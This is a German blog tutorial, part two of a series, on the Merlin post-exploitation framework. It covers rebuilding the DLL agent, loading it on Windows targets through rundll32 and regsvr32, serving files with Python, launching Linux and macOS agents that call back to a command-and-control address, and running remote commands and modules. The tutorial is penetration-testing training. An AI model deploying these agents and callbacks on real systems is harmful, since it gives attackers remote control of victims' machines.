Merlin – Post Exploitation über HTTP/2 (Teil2)

Im ersten Teil habe ich gezeigt, wie Sie Merlin installieren und die derzeit verfügbaren Agenten kompilieren bzw. einsetzen können. In diese zweiten Teil werden Sie weitere Agenten erstellen und sie an Ihre Penetration Testing Umgebung anpassen. Darüberhinaus werden wir Sessions erzeugen und die derzeit vorhandenen Module auflisten.

DLL-Agenten erstellen

Im vorangegangenen Beitrag hatten wir bereits im dritten Schritt eine DLL-Agenten erstellt in einem zufällig generierten Verzeichnis unter data/temp/v0.6.0/ abgespeichert. Um diese DLL aber in Ihrer Umgebung nutzen zu können, müssen Sie die vorhandene Datei main.go für Ihre Zwecke anpassen und sie noch einmal kompilieren. Wechseln Sie dazu in das Verzeichnis cmd/merlinagentdll und ändern die folgende Zeile nach Ihren Wünschen ab. Die Variable „URL“ sollte die IP-Adresse oder den Domainnamen ihres Merlin-Servers und den dazugehörigen Port enthalten.

Wechseln Sie nun zurück in das Verzeichnis in dem Ihr Makefile liegt und kompilieren die DLL mit folgendem Befehl neu:

cd /home/frank/merlin/src/github.com/Ne0nd0g/merlin
make agent-dll

Die neu kompilierte DLL sollte nun wieder im bereits oben beschriebenen temporären Verzeichnis zur Verfügung stehen.

DLL-Agenten einsetzen

Sie haben, laut Webseite der Entwickler, folgende Möglichkeiten, die DLL auf Ihrem Windows-Zielsystem einzusetzen:

rundll32.exe merlin,main 
rundll32.exe merlin,Run

regsvr32.exe /s merlin.dll 
regsvr32.exe /s /u merlin.dll
regsvr32.exe /s /n /i merlin.dll

Sie können für die Übertragung der DLL auf das Zielsystem den HTTP-Server von Python nutzen. Wechseln Sie dazu in das Verzeichnis, in den die zu übertragenden Dateien liegen und rufen den folgenden Befehl auf:

python -m SimpleHTTPServer 9000

In diesem Beispiel wird ein Webserver auf Port 9000 aufgerufen, der die Dateien zum Download zur Verfügung stellt.

Session erstellen und interagieren

Sie haben nun die Möglichkeit, die Agenten von den verschiedenen Zielsystemen aufzurufen. Bitte beachten Sie, dass die Agenten für Linux und macOS noch „ausführbar“ gemacht werden müssen, bevor Sie sie einsetzen können. Starten Sie den Agenten für Linux mit folgendem Befehl.

chmod +x merlinAgent-Linux-x64
./merlinAgent-Linux-x64 -url "https://192.168.171.220:443"

Lassen Sie sich unter MacOS nicht täuschen. Auch wenn die Dateierweiterung auf ein „Disk-Image“ hindeutet, so lässt sich der Agent trotzdem mit folgendem Befehl starten:

chmod +x merlinAgent-Darwin-x64.dmg
./merlinAgent-Darwin-x64.dmg -url "https://192.168.171.220:443"

Der Befehl sessions zeigt nun die verfügbaren Sessions an und mit help lassen sich die verfügbaren Kommandos nebst einer kurzen Beschreibung aufrufen.

Nutzen Sie, ähnlich wie beim Empire Framework, den Befehl interact, um sich mit einem Agent zu verbinden.

Eine erneute Eingabe des help-Befehls zeigt nun die verfügbaren Kommandos an:

In diesem Zusammenhang fällt das Kommando cmd ins Auge. Damit lassen sich Befehle auf dem Zielsystem ausführen. Der folgende Screenshot zeigt die Ausgabe den Befehls systeminfo in Windows 10.

Merlin Module anwenden

Auch wenn Merlin sich noch in der Entwicklung befindet, so sind doch schon einige Module vorhanden, die Sie testen können. Wechseln Sie dazu mit back wieder in Hauptmenü und rufen das Kommando use module auf:

Wie in anderen Postexploitation Frameworks können Sie nun eines der Module auswählen und haben dann die Möglichkeit, die notwendigen Parameter einzustellen. Hierzu wird der set-Befehl benötigt. Mit run können Sie letztendlich das Modul starten.

Schreibe einen Kommentar